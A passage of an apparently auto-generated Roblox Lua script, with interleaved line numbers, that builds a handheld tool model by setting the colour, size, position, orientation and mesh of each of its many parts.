Part238.CFrame = CFrame.new(27.1051025, 1.22827101, 137.041504, -2.79857915e-10, 0.00939138234, -0.99995476, 0.999997616, 2.98022709e-08, -2.48689958e-14, 2.98009351e-08, -0.999953687, -0.00939142704)
3117
Part238.BottomSurface = Enum.SurfaceType.Smooth
3118
Part238.TopSurface = Enum.SurfaceType.Smooth
3119
Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
3120
Part238.Position = Vector3.new(27.1051025, 1.22827101, 137.041504)
3121
Part238.Orientation = Vector3.new(0, -90.5400009, 90)
3122
Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
3123
CylinderMesh239.Parent = Part238
3124
CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
3125
CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
3126
Part240.Parent = Tool0
3127
Part240.Material = Enum.Material.SmoothPlastic
3128
Part240.BrickColor = BrickColor.new("Black")
3129
Part240.Reflectance = 0.050000000745058
3130
Part240.Rotation = Vector3.new(-90, 0, 179.459991)
3131
Part240.Anchored = true
3132
Part240.FormFactor = Enum.FormFactor.Custom
3133
Part240.Size = Vector3.new(0.200000003, 0.270000011, 0.200000003)
3134
Part240.CFrame = CFrame.new(27.0733643, 1.26122999, 140.391907, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
3135
Part240.BottomSurface = Enum.SurfaceType.Smooth
3136
Part240.TopSurface = Enum.SurfaceType.Smooth
3137
Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
3138
Part240.Position = Vector3.new(27.0733643, 1.26122999, 140.391907)
3139
Part240.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
3140
Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
3141
Decal241.Parent = Part240
3142
Decal241.Texture = "http://www.roblox.com/asset/?id=65628034"
3143
Decal241.Face = Enum.NormalId.Bottom
3144
CylinderMesh242.Parent = Part240
3145
CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
3146
CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
3147
Part243.Parent = Tool0
3148
Part243.Material = Enum.Material.SmoothPlastic
3149
Part243.BrickColor = BrickColor.new("Black")
3150
Part243.Reflectance = 0.050000000745058
3151
Part243.Rotation = Vector3.new(-90.5400009, -45, -90.7599945)
3152
Part243.Anchored = true
3153
Part243.FormFactor = Enum.FormFactor.Custom
3154
Part243.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
3155
Part243.CFrame = CFrame.new(27.1330566, 1.26122999, 140.743469, -0.00939133763, 0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, 0.70710665, 0.999955535, 0.00664079189, -0.00664079189)
3156
Part243.BottomSurface = Enum.SurfaceType.Smooth
3157
Part243.TopSurface = Enum.SurfaceType.Smooth
3158
Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
3159
Part243.Position = Vector3.new(27.1330566, 1.26122999, 140.743469)
3160
Part243.Orientation = Vector3.new(-45, -90.5400009, 0)
3161
Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
3162
SpecialMesh244.Parent = Part243
3163
SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
3164
SpecialMesh244.MeshType = Enum.MeshType.Wedge
3165
SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
3166
Part245.Parent = Tool0
3167
Part245.Material = Enum.Material.SmoothPlastic
3168
Part245.BrickColor = BrickColor.new("Black")
3169
Part245.Reflectance = 0.050000000745058
3170
Part245.Rotation = Vector3.new(-90, 0, 179.459991)
3171
Part245.Anchored = true
3172
Part245.FormFactor = Enum.FormFactor.Custom
3173
Part245.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
3174
Part245.CFrame = CFrame.new(27.1395264, 1.24609399, 139.762512, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
3175
Part245.BottomSurface = Enum.SurfaceType.Smooth
3176
Part245.TopSurface = Enum.SurfaceType.Smooth
3177
Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
3178
Part245.Position = Vector3.new(27.1395264, 1.24609399, 139.762512)
3179
Part245.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
3180
Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
3181
CylinderMesh246.Parent = Part245
3182
CylinderMesh246.Offset = Vector3.new(0, -0.00239999988, 0)
3183
CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
3184
CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
3185
Part247.Parent = Tool0
3186
Part247.Material = Enum.Material.SmoothPlastic
3187
Part247.BrickColor = BrickColor.new("Black")
3188
Part247.Reflectance = 0.050000000745058
3189
Part247.Rotation = Vector3.new(89.4599991, 45, 90.7599945)
3190
Part247.Anchored = true
3191
Part247.FormFactor = Enum.FormFactor.Custom
3192
Part247.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
3193
Part247.CFrame = CFrame.new(27.0042725, 1.26122999, 140.742371, -0.00939133763, -0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, -0.70710665, 0.999955535, -0.00664079189, 0.00664079189)
3194
Part247.BottomSurface = Enum.SurfaceType.Smooth
3195
Part247.TopSurface = Enum.SurfaceType.Smooth
3196
Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
3197
Part247.Position = Vector3.new(27.0042725, 1.26122999, 140.742371)
3198
Part247.Orientation = Vector3.new(45, 89.4599991, -180)
3199
Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
3200
SpecialMesh248.Parent = Part247
3201
SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
3202
SpecialMesh248.MeshType = Enum.MeshType.Wedge
3203
SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
3204
Part249.Parent = Tool0
3205
Part249.Material = Enum.Material.SmoothPlastic
3206
Part249.BrickColor = BrickColor.new("Black")
3207
Part249.Reflectance = 0.050000000745058
3208
Part249.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
3209
Part249.Anchored = true
3210
Part249.FormFactor = Enum.FormFactor.Custom
3211
Part249.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3212
Part249.CFrame = CFrame.new(27.0714111, 1.26122999, 140.574951, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
3213
Part249.BottomSurface = Enum.SurfaceType.Smooth
3214
Part249.TopSurface = Enum.SurfaceType.Smooth
3215
Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
3216
Part249.Position = Vector3.new(27.0714111, 1.26122999, 140.574951)
3217
Part249.Orientation = Vector3.new(-45, 89.4599991, 90)
3218
Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
3219
CylinderMesh250.Parent = Part249
3220
CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
3221
CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
3222
Part251.Parent = Tool0
3223
Part251.Material = Enum.Material.SmoothPlastic
3224
Part251.BrickColor = BrickColor.new("Black")
3225
Part251.Reflectance = 0.050000000745058
3226
Part251.Rotation = Vector3.new(90.5400009, -45, 90.7599945)
3227
Part251.Anchored = true
3228
Part251.FormFactor = Enum.FormFactor.Custom
3229
Part251.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
3230
Part251.CFrame = CFrame.new(27.0697021, 1.32714796, 140.743164, -0.00939133763, -0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, -0.70710665, 0.999955535, -0.00664079189, -0.00664079189)
3231
Part251.BottomSurface = Enum.SurfaceType.Smooth
3232
Part251.TopSurface = Enum.SurfaceType.Smooth
3233
Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
3234
Part251.Position = Vector3.new(27.0697021, 1.32714796, 140.743164)
3235
Part251.Orientation = Vector3.new(45, -90.5400009, 0)
3236
Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
3237
SpecialMesh252.Parent = Part251
3238
SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
3239
SpecialMesh252.MeshType = Enum.MeshType.Wedge
3240
SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
3241
Part253.Parent = Tool0
3242
Part253.Material = Enum.Material.SmoothPlastic
3243
Part253.BrickColor = BrickColor.new("Black")
3244
Part253.Reflectance = 0.050000000745058
3245
Part253.Rotation = Vector3.new(-89.4599991, 45, -90.7599945)
3246
Part253.Anchored = true
3247
Part253.FormFactor = Enum.FormFactor.Custom
3248
Part253.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
3249
Part253.CFrame = CFrame.new(27.0697021, 1.19531202, 140.743164, -0.00939133763, 0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, 0.70710665, 0.999955535, 0.00664079189, 0.00664079189)
3250
Part253.BottomSurface = Enum.SurfaceType.Smooth
3251
Part253.TopSurface = Enum.SurfaceType.Smooth
3252
Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
3253
Part253.Position = Vector3.new(27.0697021, 1.19531202, 140.743164)
3254
Part253.Orientation = Vector3.new(-45, 89.4599991, -180)
3255
Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
3256
SpecialMesh254.Parent = Part253
3257
SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
3258
SpecialMesh254.MeshType = Enum.MeshType.Wedge
3259
SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
3260
Part255.Parent = Tool0
3261
Part255.Material = Enum.Material.SmoothPlastic
3262
Part255.BrickColor = BrickColor.new("Really black")
3263
Part255.Reflectance = 0.050000000745058
3264
Part255.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
3265
Part255.Anchored = true
3266
Part255.FormFactor = Enum.FormFactor.Custom
3267
Part255.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3268
Part255.CFrame = CFrame.new(27.0692139, 1.26122999, 140.865967, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
3269
Part255.BottomSurface = Enum.SurfaceType.Smooth
3270
Part255.TopSurface = Enum.SurfaceType.Smooth
3271
Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3272
Part255.Position = Vector3.new(27.0692139, 1.26122999, 140.865967)
3273
Part255.Orientation = Vector3.new(-45, 89.4599991, 90)
3274
Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3275
CylinderMesh256.Parent = Part255
3276
CylinderMesh256.Offset = Vector3.new(0, -0.239999995, 0)
3277
CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
3278
CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
3279
Part257.Parent = Tool0
3280
Part257.Material = Enum.Material.SmoothPlastic
3281
Part257.BrickColor = BrickColor.new("Really black")
3282
Part257.Rotation = Vector3.new(-180, 0.539999962, -180)
3283
Part257.Anchored = true
3284
Part257.FormFactor = Enum.FormFactor.Custom
3285
Part257.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3286
Part257.CFrame = CFrame.new(27.2574463, 1.336182, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3287
Part257.BottomSurface = Enum.SurfaceType.Smooth
3288
Part257.TopSurface = Enum.SurfaceType.Smooth
3289
Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3290
Part257.Position = Vector3.new(27.2574463, 1.336182, 139.973999)
3291
Part257.Orientation = Vector3.new(0, 179.459991, 0)
3292
Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3293
BlockMesh258.Parent = Part257
3294
BlockMesh258.Offset = Vector3.new(0.180000007, -0.1875, 0)
3295
BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
3296
BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
3297
Part259.Parent = Tool0
3298
Part259.Material = Enum.Material.SmoothPlastic
3299
Part259.BrickColor = BrickColor.new("Really black")
3300
Part259.Rotation = Vector3.new(-180, 0.539999962, -180)
3301
Part259.Anchored = true
3302
Part259.FormFactor = Enum.FormFactor.Custom
3303
Part259.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3304
Part259.CFrame = CFrame.new(27.2574463, 1.36621106, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3305
Part259.BottomSurface = Enum.SurfaceType.Smooth
3306
Part259.TopSurface = Enum.SurfaceType.Smooth
3307
Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3308
Part259.Position = Vector3.new(27.2574463, 1.36621106, 139.973999)
3309
Part259.Orientation = Vector3.new(0, 179.459991, 0)
3310
Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3311
BlockMesh260.Parent = Part259
3312
BlockMesh260.Offset = Vector3.new(0.180000007, -0.1875, 0)
3313
BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
3314
BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
3315
Part261.Parent = Tool0
3316
Part261.Material = Enum.Material.SmoothPlastic
3317
Part261.BrickColor = BrickColor.new("Black")
3318
Part261.Rotation = Vector3.new(-180, 0.539999962, -180)
3319
Part261.Anchored = true
3320
Part261.FormFactor = Enum.FormFactor.Custom
3321
Part261.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
3322
Part261.CFrame = CFrame.new(27.2590332, 1.26122999, 139.763794, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3323
Part261.BottomSurface = Enum.SurfaceType.Smooth
3324
Part261.TopSurface = Enum.SurfaceType.Smooth
3325
Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
3326
Part261.Position = Vector3.new(27.2590332, 1.26122999, 139.763794)
3327
Part261.Orientation = Vector3.new(0, 179.459991, 0)
3328
Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
3329
BlockMesh262.Parent = Part261
3330
BlockMesh262.Offset = Vector3.new(0.0149999997, 0, 0)
3331
BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
3332
BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
3333
Part263.Parent = Tool0
3334
Part263.Material = Enum.Material.SmoothPlastic
3335
Part263.BrickColor = BrickColor.new("Black")
3336
Part263.Rotation = Vector3.new(-180, 0.539999962, -180)
3337
Part263.Anchored = true
3338
Part263.FormFactor = Enum.FormFactor.Custom
3339
Part263.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
3340
Part263.CFrame = CFrame.new(27.0793457, 1.12011695, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
3341
Part263.BottomSurface = Enum.SurfaceType.Smooth
3342
Part263.TopSurface = Enum.SurfaceType.Smooth
3343
Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
3344
Part263.Position = Vector3.new(27.0793457, 1.12011695, 139.761902)
3345
Part263.Orientation = Vector3.new(0, 179.459991, 0)
3346
Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
3347
BlockMesh264.Parent = Part263
3348
BlockMesh264.Offset = Vector3.new(0, 0.0269999988, 0)
3349
BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
3350
BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
3351
Part265.Parent = Tool0
3352
Part265.Material = Enum.Material.SmoothPlastic
3353
Part265.BrickColor = BrickColor.new("Really black")
3354
Part265.Rotation = Vector3.new(-180, 0.539999962, -180)
3355
Part265.Anchored = true
3356
Part265.FormFactor = Enum.FormFactor.Custom
3357
Part265.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3358
Part265.CFrame = CFrame.new(27.2612305, 1.36621106, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3359
Part265.BottomSurface = Enum.SurfaceType.Smooth
3360
Part265.TopSurface = Enum.SurfaceType.Smooth
3361
Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3362
Part265.Position = Vector3.new(27.2612305, 1.36621106, 139.553955)
3363
Part265.Orientation = Vector3.new(0, 179.459991, 0)
3364
Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3365
BlockMesh266.Parent = Part265
3366
BlockMesh266.Offset = Vector3.new(0.180000007, -0.1875, 0)
3367
BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
3368
BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
3369
Part267.Parent = Tool0
3370
Part267.Material = Enum.Material.SmoothPlastic
3371
Part267.BrickColor = BrickColor.new("Brick yellow")
3372
Part267.Rotation = Vector3.new(-180, 0.539999962, -180)
3373
Part267.Anchored = true
3374
Part267.FormFactor = Enum.FormFactor.Custom
3375
Part267.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
3376
Part267.CFrame = CFrame.new(27.0793457, 1.40722597, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
3377
Part267.BottomSurface = Enum.SurfaceType.Smooth
3378
Part267.TopSurface = Enum.SurfaceType.Smooth
3379
Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
3380
Part267.Position = Vector3.new(27.0793457, 1.40722597, 139.761902)
3381
Part267.Orientation = Vector3.new(0, 179.459991, 0)
3382
Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
3383
BlockMesh268.Parent = Part267
3384
BlockMesh268.Offset = Vector3.new(0, -0.00900000054, 0)
3385
BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
3386
BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
3387
Part269.Parent = Tool0
3388
Part269.Material = Enum.Material.SmoothPlastic
3389
Part269.BrickColor = BrickColor.new("Brick yellow")
3390
Part269.Rotation = Vector3.new(-180, 0.539999962, -180)
3391
Part269.Anchored = true
3392
Part269.FormFactor = Enum.FormFactor.Custom
3393
Part269.Size = Vector3.new(0.200000003, 0.200000003, 0.816000223)
3394
Part269.CFrame = CFrame.new(27.0791016, 1.10229504, 139.765137, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
3395
Part269.BottomSurface = Enum.SurfaceType.Smooth
3396
Part269.TopSurface = Enum.SurfaceType.Smooth
3397
Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
3398
Part269.Position = Vector3.new(27.0791016, 1.10229504, 139.765137)
3399
Part269.Orientation = Vector3.new(0, 179.459991, 0)
3400
Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
3401
BlockMesh270.Parent = Part269
3402
BlockMesh270.Offset = Vector3.new(0, 0.0180000011, 0)
3403
BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
3404
BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
3405
Part271.Parent = Tool0
3406
Part271.Material = Enum.Material.SmoothPlastic
3407
Part271.BrickColor = BrickColor.new("Dark stone grey")
3408
Part271.Rotation = Vector3.new(-180, 0.539999962, -180)
3409
Part271.Anchored = true
3410
Part271.FormFactor = Enum.FormFactor.Custom
3411
Part271.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3412
Part271.CFrame = CFrame.new(27.0745831, 1.36328101, 140.272095, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3413
Part271.BottomSurface = Enum.SurfaceType.Smooth
3414
Part271.TopSurface = Enum.SurfaceType.Smooth
3415
Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
3416
Part271.Position = Vector3.new(27.0745831, 1.36328101, 140.272095)
3417
Part271.Orientation = Vector3.new(0, 179.459991, 0)
3418
Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
3419
BlockMesh272.Parent = Part271
3420
BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
3421
BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
3422
Part273.Parent = Tool0
3423
Part273.Material = Enum.Material.SmoothPlastic
3424
Part273.BrickColor = BrickColor.new("Really black")
3425
Part273.Rotation = Vector3.new(-180, 0.539999962, -180)
3426
Part273.Anchored = true
3427
Part273.FormFactor = Enum.FormFactor.Custom
3428
Part273.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3429
Part273.CFrame = CFrame.new(27.2612305, 1.336182, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3430
Part273.BottomSurface = Enum.SurfaceType.Smooth
3431
Part273.TopSurface = Enum.SurfaceType.Smooth
3432
Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3433
Part273.Position = Vector3.new(27.2612305, 1.336182, 139.553955)
3434
Part273.Orientation = Vector3.new(0, 179.459991, 0)
3435
Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3436
BlockMesh274.Parent = Part273
3437
BlockMesh274.Offset = Vector3.new(0.180000007, -0.1875, 0)
3438
BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
3439
BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
3440
Part275.Parent = Tool0
3441
Part275.Material = Enum.Material.SmoothPlastic
3442
Part275.BrickColor = BrickColor.new("Really black")
3443
Part275.Rotation = Vector3.new(-180, 0.539999962, -180)
3444
Part275.Anchored = true
3445
Part275.FormFactor = Enum.FormFactor.Custom
3446
Part275.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3447
Part275.CFrame = CFrame.new(26.9016113, 1.39624, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3448
Part275.BottomSurface = Enum.SurfaceType.Smooth
3449
Part275.TopSurface = Enum.SurfaceType.Smooth
3450
Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3451
Part275.Position = Vector3.new(26.9016113, 1.39624, 139.550354)
3452
Part275.Orientation = Vector3.new(0, 179.459991, 0)
3453
Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3454
BlockMesh276.Parent = Part275
3455
BlockMesh276.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
3456
BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
3457
BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
3458
Part277.Parent = Tool0
3459
Part277.Material = Enum.Material.SmoothPlastic
3460
Part277.BrickColor = BrickColor.new("Really black")
3461
Part277.Rotation = Vector3.new(-180, 0.539999962, -180)
3462
Part277.Anchored = true
3463
Part277.FormFactor = Enum.FormFactor.Custom
3464
Part277.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3465
Part277.CFrame = CFrame.new(26.8973389, 1.39624, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3466
Part277.BottomSurface = Enum.SurfaceType.Smooth
3467
Part277.TopSurface = Enum.SurfaceType.Smooth
3468
Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3469
Part277.Position = Vector3.new(26.8973389, 1.39624, 139.970337)
3470
Part277.Orientation = Vector3.new(0, 179.459991, 0)
3471
Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3472
BlockMesh278.Parent = Part277
3473
BlockMesh278.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
3474
BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
3475
BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
3476
Part279.Parent = Tool0
3477
Part279.Material = Enum.Material.SmoothPlastic
3478
Part279.BrickColor = BrickColor.new("Really black")
3479
Part279.Rotation = Vector3.new(-180, 0.539999962, -180)
3480
Part279.Anchored = true
3481
Part279.FormFactor = Enum.FormFactor.Custom
3482
Part279.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3483
Part279.CFrame = CFrame.new(26.8973389, 1.36621106, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3484
Part279.BottomSurface = Enum.SurfaceType.Smooth
3485
Part279.TopSurface = Enum.SurfaceType.Smooth
3486
Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3487
Part279.Position = Vector3.new(26.8973389, 1.36621106, 139.970337)
3488
Part279.Orientation = Vector3.new(0, 179.459991, 0)
3489
Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3490
BlockMesh280.Parent = Part279
3491
BlockMesh280.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
3492
BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
3493
BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
3494
Part281.Parent = Tool0
3495
Part281.Material = Enum.Material.SmoothPlastic
3496
Part281.BrickColor = BrickColor.new("Dark stone grey")
3497
Part281.Rotation = Vector3.new(0, 89.4599991, 180)
3498
Part281.Anchored = true
3499
Part281.FormFactor = Enum.FormFactor.Custom
3500
Part281.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3501
Part281.CFrame = CFrame.new(27.02771, 1.67529297, 140.148438, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
3502
Part281.BottomSurface = Enum.SurfaceType.Smooth
3503
Part281.TopSurface = Enum.SurfaceType.Smooth
3504
Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
3505
Part281.Position = Vector3.new(27.02771, 1.67529297, 140.148438)
3506
Part281.Orientation = Vector3.new(0, 89.4599991, -180)
3507
Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
3508
SpecialMesh282.Parent = Part281
3509
SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
3510
SpecialMesh282.MeshType = Enum.MeshType.Wedge
3511
SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
3512
Part283.Parent = Tool0
3513
Part283.Material = Enum.Material.SmoothPlastic
3514
Part283.BrickColor = BrickColor.new("Really black")
3515
Part283.Rotation = Vector3.new(-180, 0.539999962, -180)
3516
Part283.Anchored = true
3517
Part283.FormFactor = Enum.FormFactor.Custom
3518
Part283.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3519
Part283.CFrame = CFrame.new(26.9016113, 1.336182, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3520
Part283.BottomSurface = Enum.SurfaceType.Smooth
3521
Part283.TopSurface = Enum.SurfaceType.Smooth
3522
Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3523
Part283.Position = Vector3.new(26.9016113, 1.336182, 139.550354)
3524
Part283.Orientation = Vector3.new(0, 179.459991, 0)
3525
Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3526
BlockMesh284.Parent = Part283
3527
BlockMesh284.Offset = Vector3.new(-0.180000007, 0, 0)
3528
BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
3529
BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
3530
Part285.Parent = Tool0
3531
Part285.Material = Enum.Material.SmoothPlastic
3532
Part285.BrickColor = BrickColor.new("Really black")
3533
Part285.Rotation = Vector3.new(-180, 0.539999962, -180)
3534
Part285.Anchored = true
3535
Part285.FormFactor = Enum.FormFactor.Custom
3536
Part285.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
3537
Part285.CFrame = CFrame.new(26.9016113, 1.36621106, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3538
Part285.BottomSurface = Enum.SurfaceType.Smooth
3539
Part285.TopSurface = Enum.SurfaceType.Smooth
3540
Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3541
Part285.Position = Vector3.new(26.9016113, 1.36621106, 139.550354)
3542
Part285.Orientation = Vector3.new(0, 179.459991, 0)
3543
Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
3544
BlockMesh286.Parent = Part285
3545
BlockMesh286.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
3546
BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
3547
